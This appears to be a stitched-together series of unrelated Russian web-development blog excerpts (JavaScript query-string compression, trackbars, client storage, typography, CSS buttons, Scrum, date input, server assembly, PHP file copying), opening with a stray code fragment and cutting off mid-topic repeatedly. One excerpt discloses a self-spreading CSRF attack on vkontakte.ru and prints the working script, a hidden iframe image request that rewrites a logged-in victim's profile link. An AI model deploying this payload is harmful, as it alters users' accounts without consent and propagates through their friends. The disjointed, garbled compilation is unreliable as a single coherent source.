lock («Place Order»)
{
// some code
}

Пройдясь по хабра-поиску выяснил, что готового решения для кропа-ресайза изображений, на движке JavaScript/HTML/CSS еще не предлагалось. Поэтому, позвольте представить вашему вниманию модуль для ваших сайтов, частично реализуюший функционал редактирования, распространенный на фото-хостингах.

К делу

Внешне задумка выглядит так:

Примечание: ниже находится перевод заметки «Search and Don't Replace». В ней автор размышляет о методах преобразования строки запроса в массив на JavaScript при минимальных затратах процессорного времени. Мои комментарии далее курсивом.

Немного ранее сегодня мой друг, Marc Grabanski, подкинул мне вопрос: как наиболее оптимальным образом на JavaScript преобразовать строку запроса вида foo=1&foo=2&foo=3&blah=a&blah=b во что-то вроде foo=1,2,3&blah=a,b? У него уже было на тот момент собственное решение, и ему было любопытно, нельзя ли его как-либо улучшить.

Я подумал немного и предложил следующее решение:

function compress(data){
    var q = {}, ret = "";
    data.replace(/([^=&]+)=([^&]*)/g,     function(m, key, value){
        q[key] = (q[key] ? q[key] + "," : "") + value;
    });
    for ( var key in q )
        ret = (ret ? ret + "&" : "") + key + "=" + q[key];
    return ret;
}

читать дальше на webo.in →

Не так давно на Хабре был опубликован сей труд: «Еще раз о трекбаре», в котором описывается простой скрипт для создания таких вот ползунков:


Благодаря откликам пользователей возможности первой версии скрипта были существенно расширены. Она выросла до v3.0, с одновременным обновлением статьи, описывающей новый функционал. Однако, некоторые изменения откладывались «на потом», т.к. требовали более серьезного вмешательства в код. И вот долгожданное «потом» настало и вышла четвертая версия JS-TrackBar.

Если вы разработчик AJAX приложений или интерфейсов, то вам это окажется полезным. Если приходится хранить некоторые достаточно обьемные данные в структурированном виде на стороне клиента, то каким образом это оптимально сделать? Конечно, вам могут помочь обычные массивы (тип данных или, скорее, встроенный обьект Array), и он даже предоставит базовые функции для управления массивом данных и основные операции над ним, но это очень, скажем так, низкоуровневое решение, часть функционала может зависеть от реализации JS-движка в конкретном браузере. Кроме этого, что-то делать с сохраненными данными нужно писать достаточно много собственного кода, и в конце концов ваш код превращается в такое нагромождение вызовов, функций и переменных, что разобраться в этом ой как сложно.

Да, выход из этого есть. В частности, самым лучшим решением (в теории) является использовать специальных плагинов для расширения функциональности браузера, для примера, в Google Gears встроена полноценная СУБД (SQLite), и вы получаете в свое распоряжение все ее возможности прямо в JavaScript коде (самое ценное, по моему, кроме хранения большого обьема данных, является полнотекстовый поиск). Аналогичные инструменты можно встретить в спецификации HTML 5, да и в последних версиях Mozilla Firefox будет встроена база данных в качестве клиентского стораджа, в среде Adobe AIR также используется встроенная база SQLite. Но что делать, если все эти радости по какой-либо причине недоступны либо их использование ограничено, а удобное хранение и работа с данными нужно иметь уже здесь и сейчас, и без дополнительных надстроек. Выход, конечно же есть!

Ещё одна мелочь, на которую не вредно обращать внимание — оформление знака охраны авторского права (который часто неграмотно называют «копирайтом»). К сожалению, на сайтах этот элемент подвала страницы зачастую ставят «чтобы был», и оформляют кто во что горазд. Однако, на сей счёт есть не просто сложившиеся правила, а целый ГОСТ Р 7.0.1—2003 (PDF, 652 КБ).

Ничего сложного в оформлении знака охраны авторского права нет, нужно просто знать определённые правила.

Наверняка пост под названием 80+ Smashingmagazine AJAX-Solutions For Professional Coding у многих в закладках. Эта подборка включает в себя самые новые на, то время, и вкусные решения с применением Ajax, собранные со всего мира.
И вот, почти год спустя новая подборка новых вкусных решений — 60 More AJAX — and Javascript Solutions For Professional Coding. Многие скрипты уже знакомы, но есть и замечательные новинки.

Как следует из заголовка, речь в статье пойдёт о неотъемлемой части любого русскоязычного (и не только) текста — о пробеле. Мы затронем историю пробела, виды пробелов, вопросы употребления пробела в веб-типографике.

Вообще говоря, пробел — это любое пустое место в рукописном, печатном или отображаемом на любом другом носителе тексте. Так что пробелы бывают разные:

• спусковые (большие вертикальные пропуски в первой полосе издания) и концевые пробелы полосы,
• абзацные отступы и концевые пробелы абзаца,
• межстрочные пробелы (между строками текста),
• межсловные пробелы (между словами в одной строке),
• межбуквенные пробелы (между буквами в слове).

Далее речь пойдёт о межсловных пробелах, разделяющих слова, и функционально принадлежащих к знакам препинания.

Отчего-то всегда хотел сделать свой сервис для загрузки файлов. Всевозможные slil/zalil не устраивали своей скоростью. ifolder — обилием рекламы. Пользовался не очень популярным (от этого он ни чуть хуже не становился) сервисом up.spbland.ru. Но это как-то не правильно. И тут я решил написать свой сервис. Не буду вдаваться в подробности и рутину, только концепция.

Эта инструкция научит Вас, как создавать очень красивые и удобные текстовые кнопки (с эффектом нажатия), используя CSS.

Очень практично оформлять кликабельные картинки, к примеру при наведении на картинку появится изображения говорящее о том что эта картинка кликабельна — как на картинке выше.

Эта небольшая статья поможет новичкам (и не только) оценить удобство собственного сайта и укажет основные недочёты, присущие многим сайтам. Ваши пользователи скажут вам спасибо =)

Для начала представлюсь. Зовут меня Евгений (Eugene Spearance) — автор небезызвестного сайта и технологии Типограф.
Просиживая вечера в сладком безделии решил написать несколько статей посвящённых теме компьютерной вёрстки, раскрыть секреты собственного Типографа, а так же поделиться кое-какими соображениями о будущем развитии типографики.

Если вы только задумываетесь о том, что пора внедрять какую-то методологию и использовать некий специальный софт для планирования и отслеживания хода работы, возможно вам будет полезен наш вполне успешный опыт применения гибкой методологии разработки Scrum. Это очень простая и эффективная методика, а в ее применении неоценимую помощь оказывает система Acunote, о которой и пойдет речь в статье.

Предыдущая моя статья по поводу юзабилити для поля «введите дату» вызвала бурное обсуждение и много неоднозначных выводов.

Я просмотрел все комментарии и среди них было много интересных.
К примеру, очень заинтересовал следующий пример: www.datejs.com

На основе него, я сделал следующий вариант ввода даты.
Распарсивание происходит на лету, предлагая возможные варианты.



К примеру, можно предлагать на такой ввод:

03-03-03

Выдавать такие варианты:

03 марта 1903
03 марта 2003

Многие из нас собирали компьютер сами, из комплектующих. Дело не сложное, соединить с десяток шлейфов, да завинтить столько же винтиков. Но мало кто сталкивался с самостоятельной сборкой серверов, причем не обычных а в промышленном формате под стойку 19 дюймов. В этом небольшом обзоре я опишу свой опыт сборки такого сервера, постараюсь показать что это не сложно, и остановлюсь на главных моментах, на что нужно смотреть. На написание этого обзора меня толкнуло то, что информации о сборке rack 19’ серверов в рунете очень мало, и приходилось её искать буквально по крупицам.

Обнаружил забавную атаку на сайт vkontakte.ru.
При переходе на сайт tvoydohod.com, если вы в этот же момент авторизованы на вконтакте, отработает следующий джаваскрипт:

<script>
function doit() {
  var html;
  html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com>';
  window.frames["frm"].document.body.innerHTML = html;
}
</script>
<iframe name="frm" onload="doit()" width="0" height="0"></iframe>

Как видно, будет запрошена картинка с адресом vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com, броузер сделает запрос по этому УРЛу, и на анкете в vkontakte ваше поле «Веб-сайт» станет равным tvoydohod.com.
Затем в вашем профайле, ваш друг, который вам доверяет кликнет на этот линк, и изменит профайл себе… И т д.

Этот вид атак называется Cross Site Request Forgery. В вики описаны все противоядия и куча полезной инфы.

Сам по себе CSRF довольно скучен. Но в данном случае забавно то, что каждый заразившийся становится разносчиком CSRF-линка.

Отписал в тех-поддержку, где столкнулся с «Это не баг!», «Не кликайте по подозрительным ссылкам!» и прочим. Надеюсь пользователей они ценят и поправят.
А вам было интересно узнать о таком простом «вирусе», который живет целиком в соц-сети =)

В очередной раз решил написать пост для фрилансеров


На этот шаг меня сподвиг опыт последнего заказа, который надо было отдать на сторону. В основном, к сожалению, отрицательный. В советах будут оценки, они субьективные, но, надеюсь, кому-то помогут.
Расшифровка оценок будет в конце.

Итак, советы и мои комментарии

Многие пользователи Opera и FireFox знают о существовании так называемых Mouse Gestures (для FF существует одноименный плагин) — жестов мышкой, на которые реагирует браузер выполняя различные действия (такие как открытия нового окна, закладки, назад, вперед и т.д. и т.п.), единственный недостаток данной фичи — нет взаимодеймствия с сайтом, и я решил написать небольшую бибилотечку, которая поможет разработчикам добавить подобный функционал на свой сайт…

Возникла задача из php://input скопировать данные в нужный файл.
Решил проверить на быстродействие возможные способы копирования файла размером 9 мегабайт из php://stdin.
Их несколько:

• Чтение блоками через fread() и запись через fwrite()
• Запись содержимого используя file_put_contents() данных, полученных с помощью file_get_contents()
• Копирование с использованием функции копирования файлов copy()
• Использование stream_copy_to_stream(). появилась в PHP5